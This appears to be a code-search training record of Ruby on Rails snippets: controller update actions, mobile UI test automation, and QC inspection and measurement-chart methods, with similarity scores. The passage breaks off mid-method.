"def update\n respond_to do |format|\n if @test_case.update(test_case_params)\n TestMailer.admin_test_updated_email(@test_case).deliver\n \n format.html { redirect_to @test_case, notice: 'Your test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test = TkdTest.find(params[:id])\n\n respond_to do |format|\n if @test.update_attributes(params[:tkd_test])\n format.html { redirect_to(@test, :notice => 'Test was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def run(test)\n @tests << test\n end",
"def update\n @admin_test = Admin::Test.find(params[:id])\n\n respond_to do |format|\n if @admin_test.update_attributes(params[:admin_test])\n format.html { redirect_to(@admin_test, :notice => 'Test was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @admin_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @test_run = TestRun.accessible_by(current_ability).find(params[:id])\n\n respond_to do |format|\n if @test_run.update_attributes(params[:test_run])\n format.html { redirect_to @test_run, notice: 'Test run was successfully updated.' }\n format.json { head :no_content }\n else\n @scenario = @test_run.scenario || Scenario.new\n @registration_scenario = @scenario.registration_scenario || Scenario.new\n @profile = @test_run.profile || Profile.new\n @target = @test_run.target || Target.new\n flash[:error] = @test_run.errors.full_messages\n format.html { render action: \"edit\" }\n format.json { render json: @test_run.errors, status: 422 }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user_test.update(user_test_params)\n format.html { redirect_to admin_user_tests_path, notice: 'User test was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_test }\n else\n format.html { render :edit }\n format.json { render json: @user_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def sample_for_edit(src = :edit_example)\n current = edit_id && Manifest.find_by(id: edit_id)\n current&.delete\n new_record(src).tap do |record|\n self.edit_id = record.id if record.save!\n end\n end",
"def edit\n puts \"******* edit *******\"\n end",
"def update\n teacher_exclusive\n respond_to do |format|\n if @test.update title: params[:title], test_date: params[:test_date], teacher_id: @current_user.id\n format.html { redirect_to @test, notice: \"L'épreuve a été modifiée\" }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @case_test.update(case_test_params)\n format.html { redirect_to @case_test, notice: 'Case test was successfully updated.' }\n format.json { render :show, status: :ok, location: @case_test }\n else\n format.html { render :edit }\n format.json { render json: @case_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @test.update_question_details(test_params)\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_set = TestSet.find(params[:id])\n permitted_to! :update, @test_set.problem\n respond_to do |format|\n if @test_set.update_attributes(permitted_params)\n format.html { redirect_to @test_set, :notice => 'Test set was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @testis = Teste.find(params[:id])\n\n respond_to do |format|\n if @testis.update_attributes(params[:testis])\n format.html { redirect_to @testis, notice: 'Teste was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @testis.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @testcase = Testcase.find(params[:id])\n\n respond_to do |format|\n if @testcase.update_attributes(params[:testcase])\n format.html { redirect_to @testcase, :notice => 'Test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @testcase.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @test_run = TestRun.find(params[:id])\n\n respond_to do |format|\n if @test_run.update_attributes(params[:test_run])\n format.html { redirect_to @test_run, notice: 'Test run was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_run.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_test\n @test = Test.friendly.find(params[:id])\n end",
"def testEditDownloadList(client)\n\t\tclient.sleep(2000)\n\t\tputs \"\"\n\t\tputs \"\"\n\t\tputs \"::MSG::[ANDROID] STARTING TEST EDITING DOWNLOAD@ダウンロードの編集機能\"\n\n\t\t$totalTest = $totalTest + 1 \n\n\t\tbegin\n\t\t\tclient.sleep(2000)\n\t\t\tif client.isElementFound(\"NATIVE\", \"text=つづきを再生\")\n\t\t\t\tEditDownload.new.listEditing(client)\n\t\t\telse\n\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@contentDescription='上へ移動']\", 0, 1)\n\t\t\t\tclient.sleep(1000)\n\t\t\t\tclient.click(\"NATIVE\", \"text=ホーム\", 0, 1)\n\t\t\t\tclient.sleep(2000)\n\t\t\t\tEditDownload.new.listEditing(client)\n\t\t\tend\n\t\trescue Exception => e\n\t\t\t$errMsgEditd = \"::MSG:: Exception occurrred while finding element: \" + e.message\t\n\t\tend\t\n\n\t\tif $execution_time == nil\n\t\t\t@exetime = $execution_time\n\t\telse\n\t\t\t@exetime = $execution_time\n\t\tend\n\t\t@test_device = \"ANDROID\" \n\t\t@testcase_num = 20\n\t\t@testcase_summary = \"ダウンロードの編集\"\n\t\t@test_result = $result\n\t\t@capture_url = $captureURL\n\t\t@err_message = $errMsgEditd\n\t\t@comment = @@comment\n\n\t\tputs ($obj_snddb.insertIntoReleaseTestEachFunc(@exetime, @testcase_num, @testcase_summary, @test_result, @capture_url, @err_message, @comment))\n\tend",
"def update\n respond_to do |format|\n if @test_run.update(test_run_params)\n format.html { redirect_to @test_run, notice: 'Test run was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_run }\n else\n format.html { render :edit }\n format.json { render json: @test_run.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_item.update(test_item_params)\n format.html { redirect_to @test_item, notice: 'Test item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_test_item\n @test_item = TestItem.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @test_detail.update(test_detail_params)\n format.html { redirect_to @test_detail, notice: 'Test detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_detail }\n else\n format.html { render :edit }\n format.json { render json: @test_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_test\n @test = current_school_year.tests.find(params[:id])\n end",
"def update_test_cases\n unless test_case_ids.nil?\n self.plan_cases.each do |p|\n p.destroy unless test_case_ids.include?(p.test_case_id.to_s)\n test_case_ids.delete(p.test_case_id.to_s)\n end \n test_case_ids.each do |c|\n self.plan_cases.create(:test_case_id => c) unless c.blank?\n end\n reload\n self.test_case_ids = nil\n end\n end",
"def update\n respond_to do |format|\n if @runtest.update(runtest_params)\n format.html { redirect_to @runtest, notice: 'Runtest was successfully updated.' }\n format.json { render :show, status: :ok, location: @runtest }\n else\n format.html { render :edit }\n format.json { render json: @runtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_suite = TestSuite.find(params[:id])\n\n respond_to do |format|\n if @test_suite.update_attributes(params[:test_suite])\n format.html { redirect_to(@test_suite, :notice => 'Test suite was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test_suite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @team_test = TeamTest.find(params[:id])\n\n respond_to do |format|\n if @team_test.update_attributes(params[:team_test])\n format.html { redirect_to @team_test, notice: 'Team test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def controller_issues_edit_after_save(context={ })\n # Get the updated issue\n issue = context[:issue]\n\n # TODO: Make the parameters safe and secure\n context[:params][:test].each do |id, value|\n\n # Get the testcase with the given id\n testcase = Testcase.find(id)\n\n # If the value is set to true\n if value.downcase == \"true\"\n # Create an association connecting the current testcase\n # with the given issue\n testcase.issues << issue unless testcase.issues.include? issue\n else\n # Remove the association, as it is not wanted (anymore)\n testcase.issues.delete(issue)\n end\n\n # Save the changes. TODO: What if it fails?\n testcase.save\n end\n end",
"def ios_testEditDownloadList(client)\n\t\tclient.sleep(2000)\n\t\tputs \"\"\n\t\tputs \"\"\n\t\tputs \"::MSG::[iOS] STARTING TEST EDITING DOWNLOAD@ダウンロードの編集機能\"\n\n\t\t$totalTest = $totalTest + 1 \n\n\t\tbegin\n\t\t\tclient.sleep(2000)\n\t\t\tif client.isElementFound(\"NATIVE\", \"text=つづきを再生\")\n\t\t\t\tEditDownload.new.ilistEditing(client)\n\t\t\telse\n\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.HamburgerButton']\", 0, 1)\n\t\t\t\tclient.sleep(2000)\n\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='ホーム']\", 0, 1)\n\t\t\t\tclient.sleep(2000)\t\t\t\t\n\t\t\t\tEditDownload.new.ilistEditing(client)\n\t\t\tend\n\t\trescue Exception => e\n\t\t\t$errMsgEditd = \"::MSG:: Exception occurrred while finding element: \" + e.message\t\n\t\tend\t\n\n\t\tif $execution_time == nil\n\t\t\t@exetime = $execution_time\n\t\telse\n\t\t\t@exetime = $execution_time\n\t\tend\n\t\t@test_device = \"iOS\"\n\t\t@testcase_num = 20\n\t\t@testcase_summary = \"ダウンロードの編集\"\n\t\t@test_result = $result\n\t\t@capture_url = $captureURL\n\t\t@err_message = $errMsgEditd\n\t\t@comment = @@comment\n\n\t\tputs ($obj_snddb.insertIntoReleaseTestEachFunc(@exetime, @testcase_num, @testcase_summary, @test_result, @capture_url, @err_message, @comment))\n\tend",
"def test_edit\n\n checklist_0_1 = checklists(:checklist_0_1)\n \n # Try editing without logging in.\n get(:edit, {:id => checklist_0_1.id}, {})\n assert_redirected_to(:controller => 'user',:action => 'login')\n\n # Try destroying from a non-Admin account.\n get(:edit, { :id => checklist_0_1.id }, rich_designer_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n #assert_equal(Pcbtr::MESSAGES[:admin_only], flash['notice'])\n\n get(:edit, { :id => checklist_0_1.id }, cathy_admin_session)\n assert_response 200\n\n end",
"def test_edit_a_task_add_new_function_part\n results = Task.editExistingTask(\"#{MyApp.settings.root}/tests/unit/tasks_test_model_file.txt\", \"i\", \"Bob\", \"Run the Roomba\", \"28373316\")\n assert_equal(nil, results)\n end",
"def revise\n respond_to do |format|\n if @test_run.revise_testcases\n format.html { redirect_to @test_run, notice: 'Test run was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_run }\n else\n format.html { render :edit }\n format.json { render json: @test_run.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update\n\n subsection_01_1_2 = subsections(:subsection_01_1_2)\n subsection_01_1_1 = subsections(:subsection_01_1_1)\n subsect = Subsection.find(subsection_01_1_2.id)\n assert_equal(subsection_01_1_1.url, subsect.url)\n\n subsect.url = 'www.yahoo.com'\n post(:update, { :subsection => subsect.attributes }, cathy_admin_session)\n assert_equal('Subsection was successfully updated.', flash['notice'])\n assert_redirected_to(:controller => 'checklist',\n\t\t\t :action => 'edit',\n :id => subsection_01_1_1.checklist.id)\n\n end",
"def edit\r\n @phr = Phr.find(params[:phr_id])\r\n @test = Test.find(params[:id])\r\n @user = current_user\r\n end",
"def update\n @smoke_test = SmokeTest.find(params[:id])\n\n if not params[:smoke_test][:test_suite_ids] and not params[:smoke_test][:config_templates]\n @smoke_test.config_templates.clear\n @smoke_test.test_suites.clear\n end\n respond_to do |format|\n if @smoke_test.update_attributes(params[:smoke_test])\n\n @smoke_test.test_suites.clear if @smoke_test.test_suites.size == 0\n format.html { redirect_to(@smoke_test, :notice => 'Smoke test was successfully updated.') }\n format.json { render :json => @smoke_test, :status => :ok }\n format.xml { render :xml => @smoke_test, :status => :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @smoke_test.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @smoke_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit(*)\n super.tap do\n __debug_sim('USER initiates modification of existing entries.')\n end\n end",
"def ilistEditing(client)\n\n\t\tbegin\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.HamburgerButton']\", 0, 1)\n\t\t\tclient.sleep(2000)\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='ダウンロード済み']\", 0, 1)\n\t\t\tclient.sleep(2000)\n\n\t\t\tif client.isElementFound(\"NATIVE\", \"text=ダウンロード済みの作品がありません\")\n\t\t\t\t@@dres = @@dres.push(false)\n\t\t\t\t$errMsgEditd = \"::MSG:: ダウンロード一覧に編集するの項目がありませんでした、作品を用意してから又ご確認下さい\"\n\t\t\t\t@@flag = \"false\"\n\t\t\t\tif @@flag == \"false\"\n\t\t\t\t\t$obj_rtnrs.returnNE\n\t\t\t\t\t$obj_rtnrs.printResult\n\t\t\t\telse\n\t\t\t\t\t$obj_edith.returnResult(@@dres)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tcnt = client.getElementCount(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.PlayIndicator' and @onScreen='true' and ./parent::*[@class='UNextMobile_Protected.ThumbPlayButton']]\")\n\t\t\t\tputs \"Current contents item is #{cnt}\"\n\t\t\t\tgetTitlebd = client.getTextIn2(\"NATIVE\", \"xpath=//*[@onScreen='true' and @x=30 and @y=164 and @class='UNextMobile_Protected.LayoutableLabel']\", 0, \"NATIVE\", \"Inside\", 0, 0)\n\t\t\t\tputs \"Element before editing: #{getTitlebd}\"\n\n\t\t\t\tif cnt > 3\n\t\t\t\t\tfor i in 0..2\n\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='編集']\", 0, 1)\n\t\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@accessibilityIdentifier='useritem_checkmark']\", 0, 1)\n\t\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\t\tif client.waitForElement(\"NATIVE\", \"xpath=//*[@text='削除']\", 0, 30000)\n\t\t\t\t\t\t # If statement\n\t\t\t\t\t\tend\n\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='削除']\", 0, 1)\n\t\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='はい']\", 0, 1)\n\t\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='編集']\", 0, 1)\n\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@accessibilityIdentifier='useritem_checkmark']\", 0, 1)\n\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\tif client.waitForElement(\"NATIVE\", \"xpath=//*[@text='削除']\", 0, 30000)\n\t\t\t\t\t # If statement\n\t\t\t\t\tend\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='削除']\", 0, 1)\n\t\t\t\t\tclient.sleep(2000)\n\t\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='はい']\", 0, 1)\n\t\t\t\t\tclient.sleep(2000)\n\t\t\t\tend\n\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UIImageView' and @width>0 and @height>0 and ./parent::*[@accessibilityLabel='player button back']]\", 0, 1)\n\t\t\t\tclient.sleep(2000)\n\t\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='ダウンロード済み']\", 0, 1)\n\t\t\t\tclient.sleep(2000)\t\t\t\t\t\t\n\t\t\t\tif client.isElementFound(\"NATIVE\", \"xpath=//*[@text='ダウンロード済みの作品がありません']\", 0)\n\t\t\t\t\t@@dres = @@dres.push(true)\n\t\t\t\t\t$obj_edith.returnResult(@@dres)\n\t\t\t\telse\n\t\t\t\t\tgetTitlead = client.getTextIn2(\"NATIVE\", \"xpath=//*[@onScreen='true' and @x=30 and @y=164 and @class='UNextMobile_Protected.LayoutableLabel']\", 0, \"NATIVE\", \"Inside\", 0, 0)\n\t\t\t\t\tputs \"Element before editing: #{getTitlead}\"\n\t\t\t\t\tif getTitlead == getTitlebd\n\t\t\t\t\t\t@@dres = @@dres.push(false)\n\t\t\t\t\telse\n\t\t\t\t\t\t@@dres = @@dres.push(true)\n\t\t\t\t\tend\n\t\t\t\t\t$obj_edith.returnResult(@@dres)\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@class='UNextMobile_Protected.HamburgerButton']\", 0, 1)\n\t\t\tclient.sleep(2000)\n\t\t\tclient.click(\"NATIVE\", \"xpath=//*[@text='ホーム']\", 0, 1)\n\t\t\tclient.sleep(2000)\n\t\trescue Exception => e\n\t\t\t$errMsgEditd = \"::MSG:: Exception occurrred while editing download list: \" + e.message\n\t\t\t@@dres = @@dres.push(false)\n\t\t\t$obj_edith.returnResult(@@dres)\t\n\t\tend\n\tend",
"def edit\n puts \"\\n******* edit *******\"\n end",
"def update\n respond_to do |format|\n if @testing_.update(testing__params)\n format.html { redirect_to @testing_, notice: 'Testing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @testing_.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_suite = TestSuite.find(params[:id])\n\n respond_to do |format|\n if @test_suite.update_attributes(params[:test_suite])\n format.html { redirect_to @test_suite, notice: 'Test suite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_suite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def run_action_edit(item)\n validate_item(item)\n run_action_create(item)\n end",
"def edit\n yield if block_given?\n save\n end",
"def edit; end"
] |
[
"0.6810869",
"0.6765429",
"0.6464224",
"0.6450342",
"0.639111",
"0.6354252",
"0.63444144",
"0.6330344",
"0.62117124",
"0.6163827",
"0.6111595",
"0.6097882",
"0.6097882",
"0.6097882",
"0.6097882",
"0.6097882",
"0.6097882",
"0.6097882",
"0.6088273",
"0.60850304",
"0.6070381",
"0.602757",
"0.60111874",
"0.5999971",
"0.5997023",
"0.5997023",
"0.5997023",
"0.5997023",
"0.5997023",
"0.5997023",
"0.5997023",
"0.5997023",
"0.5997023",
"0.5997023",
"0.5997023",
"0.5997023",
"0.5997023",
"0.5997023",
"0.59951425",
"0.5994514",
"0.5968096",
"0.59480846",
"0.5945315",
"0.5933454",
"0.5933454",
"0.5898574",
"0.5893943",
"0.5893943",
"0.5893943",
"0.5893943",
"0.589115",
"0.5889885",
"0.5884553",
"0.5873298",
"0.58500266",
"0.5844578",
"0.5833608",
"0.5820836",
"0.58113766",
"0.5809151",
"0.580693",
"0.58062136",
"0.5798083",
"0.5786521",
"0.57857317",
"0.57833576",
"0.57780313",
"0.57752496",
"0.5774925",
"0.57702965",
"0.5729481",
"0.5726736",
"0.57248527",
"0.5711851",
"0.5702139",
"0.570211",
"0.5697193",
"0.5690419",
"0.5690256",
"0.56864065",
"0.56771946",
"0.56726754",
"0.5668664",
"0.5659539",
"0.5652689",
"0.56450987",
"0.564158",
"0.56373334",
"0.5636554",
"0.56255066",
"0.5624575",
"0.5620694",
"0.56188536",
"0.56064796",
"0.56063527",
"0.56029123",
"0.56013054",
"0.5600791",
"0.5594825",
"0.55872405"
] |
0.72623205
|
0
|
Add the selected cull measurement to the test and display it on the page.
|
def add_cull_measure
id = params[:id]
if id && @qc_inspection_test = QcInspectionTest.find(id)
@qc_inspection_type_code = @qc_inspection_test.qc_inspection.qc_inspection_type.qc_inspection_type_code
return if authorise_for_web(program_name(@qc_inspection_type_code),'edit')== false
@qc_measurement_type = QcMeasurementType.find(params[:cull_measure])
@qc_result = @qc_inspection_test.qc_results.first
begin
@qc_result.add_cull_measurement( @qc_measurement_type )
if !@qc_result.valid?
ajax_error_alert('Validation error', nil, @qc_result)
return
end
cull_measurements = @qc_result.cull_measurements( @qc_measurement_type )
col_headers = cull_measurements.shift
render :update do |page|
page.insert_html :bottom, 'cull_results', :partial => 'cull_result_measurement',
:object => cull_measurements[0],
:locals => {:max_cols => @qc_inspection_test.max_columns_for_measurements,
:col_headers => col_headers,
:measurement_rules => @qc_inspection_test.measurement_rules}
page << "$$('#cull_measure option[value=#{@qc_measurement_type.id}]').each(function(e) { e.remove(); })"
page << "if ($('cull_measure').options.length == 0) {$('cull_add_form').hide();}"
end
rescue StandardError => error
ajax_error_alert(nil, error, @qc_result)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def getMiniMeasurement\n#measurements\n\n\n @set= ChartItem.new(\"Total Inches\")\n\n for measurement in @measurement\n \n # id: integer, user_id: integer, chest: integer, belly_upper: integer, belly_lower: integer, hips: integer, thigh: integer, arm: integer, date: datetime, created_at: datetime, updated_at: datetime\n sum = measurement.chest + measurement.belly_upper + measurement.belly_lower + measurement.hips + measurement.thigh + measurement.arm\n \n @set.addPoint(measurement.date.to_time.to_i * 1000,sum)\n \n end \n# ----------------------------------\n# now start adding them to the chart\n# ---------------------------------- \n #if @chartoptions[:measurement][0]\n \n \n @miniMeasures.add(@set)\n\n\n#end # if @chartoptions[:measurments] \nend",
"def add_checklist_test\n if product_tests.checklist_tests.empty? && c1_test\n checklist_test = product_tests.create!({ name: 'c1 visual', measure_ids: measure_ids }, ChecklistTest)\n checklist_test.create_checked_criteria\n checklist_test.tasks.create!({}, C1ChecklistTask)\n checklist_test.tasks.create!({}, C3ChecklistTask) if c3_test\n end\n end",
"def show\n @inform = @study.inform\n @all_cups_price = 0\n @inform.studies.each do |study|\n @all_cups_price += study.price * study.factor\n end\n end",
"def modify_measure_img_click\n target_name = @data_mea['measure_target']['name_for_add']\n data_list = qone_data_list(measure_target_list_table,\"style*='display:none'\",:all)\n data_list.operate(target_name,0,:edit,2)\n end",
"def show_gold_popup\n draw_currency_value(@testo.to_i, \"\", 0, 0, self.width-(self.padding*2))\n end",
"def update_with_measure_tests(product_params)\n add_measure_tests(product_params)\n save!\n add_filtering_tests if c4_test\n add_checklist_test if c1_test\n end",
"def show_result(collection:)\n show do\n title 'Test Plate Setup'\n table highlight_non_empty(collection)\n end\n end",
"def set_ccriterion\n @ccriterion = Ccriterion.find(params[:id])\n end",
"def set_measurement_category\n @measurement_category = MeasurementCategory.find(params[:id])\n end",
"def gather_cuvettes items \n show do\n title \"Gather Plastic Cuvettes\"\n \n check \"Go to the shelf under the plate reader.\"\n check \"Gather #{items.length + 1} cuvettes.\"\n check \"Gather the following plastic cuvette container for easy containment.\"\n image CUVETTE1\n end\n end",
"def set_benchmark_test\n @benchmark_test = BenchmarkTest.find(params[:id])\n end",
"def on_unit_ok\n @select_text_win.text=\"Choose items to take from #{@actor.name}\"\n @select_text_win.show\n @unit_item_list.show\n @unit_category_list.show\n deactivate_all_but(@unit_category_list)\n @unit_category_list.activate\n @party_or_unit_win.hide\n end",
"def accum_en; catdet.button(:name, 'energyControl'); end",
"def select_fittest(category, options = {})\n category = case category\n when Category\n category\n when String\n categories.first(:conditions => ['upper(categories.name) = upper(?)', category])\n end\n uhook_select_fittest category, options unless category.nil?\n end",
"def set_unit_measure\n @unit_measure = UnitMeasure.find(params[:id])\n end",
"def add_samples( no_samples, from_qc_inspection_test )\n max_old_sample = from_qc_inspection_test.qc_results.find(:first, :select => 'sample_no', :order => 'sample_no DESC').sample_no\n\n self.qc_inspection_tests.each do |qc_inspection_test|\n inspection_type_test = qc_inspection_test.qc_inspection_type_test\n next if inspection_type_test.cull_test # Doesn't apply to cull tests.\n\n no_samples.times do |cnt|\n qc_result = QcResult.new( :qc_test_id => inspection_type_test.qc_test_id, :sample_no => max_old_sample + cnt + 1)\n if qc_inspection_test.qc_results << qc_result\n inspection_type_test.qc_test.qc_measurement_types.each do |qc_measurement_type|\n qc_result_measurement = QcResultMeasurement.new( :qc_measurement_type_id => qc_measurement_type.id, :sample_no => max_old_sample + cnt + 1)\n ['qc_measurement_code', 'qc_measurement_description', 'test_uom', 'test_criteria',\n #'test_method', 'measurement', 'annotation_1', 'annotation_2', 'annotation_3'\n 'test_method'\n ].each {|a| qc_result_measurement.send(a+'=', qc_measurement_type.attributes[a]) }\n\n unless qc_result.qc_result_measurements << qc_result_measurement\n qc_result_measurement.errors.each_full do |msg|\n errors.add_to_base \"QC Result Measurement: #{msg}\"\n end\n raise \"Unable to add measurement for extra sample: #{self.errors.full_messages.to_s}\"\n end\n end\n else\n qc_result.errors.each_full do |msg|\n errors.add_to_base \"QC Result: #{msg}\"\n end\n raise \"Unable to add result for extra sample: #{self.errors.full_messages.to_s}\"\n end\n end\n end\n from_qc_inspection_test.qc_results.find(:all, :conditions => \"sample_no > #{max_old_sample}\", :order => 'sample_no')\n end",
"def edit_qc_inspection_test_from_test_list\n edit_qc_inspection_test true\n end",
"def tradeoff_product_add\n choice = Choice.find(params[:choice_id])\n product = Product.find(params[:dom_id].split('_').last)\n choice.tips.clear\n choice.tips.create(:product => product, :choice => choice, :quality => 1.0, :confidence => 1.0)\n render :update do |page|\n page.replace_html(\"dropzone_choice_#{choice.id}\", :partial => \"/main/thumbnail\", \n :locals => {:ar_object => product, :container_tag => \"li\", :prefix => \"reco\", :corner_link => \"/choices/tradeoff_product_remove/#{choice.id}\" })\n end\n end",
"def update_visualization(point)\n\t\t\t\t\n\t\t\tend",
"def show\n @testimonials = select_random(Testimonial)\n end",
"def add_test\n unless @cart.test_ids.include?(params[:id].to_i)\n @test = Test.find(params[:id])\n @cart.add_test(@test)\n else\n @test = []\n end\n respond_to do |format|\n format.js\n end\n end",
"def show\n @criterion = Criterion.find(params[:id])\n end",
"def update_visualization(point)\n\t\t\n\tend",
"def update_visualization(point)\n\t\t\n\tend",
"def update_visualization(point)\n\t\t\n\tend",
"def update_visualization(point)\n\t\t\n\tend",
"def create\n category_id = params[:test][:category_id]\n @test = Test.new(user_id: current_user.id, category_id: category_id)\n \n respond_to do |format|\n if @test.save\n ## Get Random Questions ##\n @questions = Question.joins(:category)\n .where(\"categories.id = #{category_id}\") # Question belongs to the Category user chose\n .order(\"RANDOM()\") # Take random records\n .first(20)\n @test.questions << @questions\n \n format.html { redirect_to admin_tests_path }\n format.json { render :edit, status: :created, location: admin_tests_path }\n format.js {}\n end\n \n format.html { redirect_to root_url }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n format.js {}\n end\n end",
"def new\n @measure = Measure.new\n @measure.set_defaults\n\n @load_options = load_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @measure }\n end\n end",
"def prepare_centrifuge\n show do\n title \"Prepare the centrifuge\"\n check \"Grab #{operations.length} pink Qiagen columns, label with 1 to #{operations.length} on the top.\"\n check \"Add tube contents to LABELED pink Qiagen columns using the following table.\"\n check \"Be sure not to add more than 750 uL to each pink column.\"\n warning \"Vortex QG mixture thoroughly before adding to pink column!\".upcase\n table operations.start_table\n .input_item(INPUT)\n .custom_column(heading: \"Qiagen column\", checkable: true) { |op| operations.index(op) + 1}\n .end_table\n end\n end",
"def set_measure\n @measure = Measure.find(params[:id])\n end",
"def set_measure\n @measure = Measure.find(params[:id])\n end",
"def set_measure\n @measure = Measure.find(params[:id])\n end",
"def getMeasurement\n#measurements\n#TODO check that this needs to be called, currently it always calls it.\n#if @chartoptions[:measurement][0] || @chartoptions[:measurement][1] || @chartoptions[:measurement][2]\n\n\n @set5 = ChartItem.new(\"Measurement:Chest\")\n\n @set6 = ChartItem.new(\"Measurement:Upper Belly\")\n\n @set7 = ChartItem.new(\"Measurement:Hip\")\n \n @set8 = ChartItem.new(\"Measurement:Thigh\")\n\n @set10 = ChartItem.new(\"Measurement:Arm\")\n\n \n \n \n \n meas1, meas2, meas3, meas4, meas5, meas6, meas7, meas8, meas9, meas10, meas11, meas12, meas13 = [],[],[],[],[],[],[],[],[],[],[],[],[]\n \n meas1_avg, meas2_avg, meas3_avg, meas4_avg, meas5_avg, meas6_avg, meas7_avg, meas8_avg, meas9_avg, meas10_avg, meas11_avg, meas12_avg, meas13_avg = [],[],[],[],[],[],[],[],[],[],[],[],[]\n \n \n meas1_count, meas2_count, meas3_count, meas4_count, meas5_count, meas6_count, meas7_count, meas8_count, meas9_count, meas10_count, meas11_count, meas12_count, meas13_count = 0,0,0,0,0,0,0,0 ,0,0,0,0,0\n \n meas1_sum, meas2_sum, meas3_sum, meas4_sum, meas5_sum, meas6_sum, meas7_sum, meas8_sum , meas9_sum, meas10_sum, meas11_sum, meas12_sum, meas13_sum = 0,0,0,0,0,0,0,0,0,0,0,0,0 \n \n for measurement in @measurement\n \n \n if !(measurement.chest.nil? ) && ( @chartoptions[:measurement_chest][0] || @chartoptions[:measurement_chest][1] || @chartoptions[:measurement][0] || @chartoptions[:measurement][1]) \n meas6_count += 1 \n meas6_sum += measurement.chest \n @set5.addPoint(measurement.date.to_time.to_i * 1000,measurement.chest)\n \n end \n \n if !(measurement.belly_upper.nil? ) && ( @chartoptions[:measurement_upper_belly][0]) \n @set6.addPoint(measurement.date.to_time.to_i * 1000, measurement.belly_upper)\n end \n \n if !(measurement.hips.nil? ) && (@chartoptions[:measurement_hip][0] ) \n \n @set7.addPoint(measurement.date.to_time.to_i * 1000,measurement.hips)\n \n end \n \n\n if 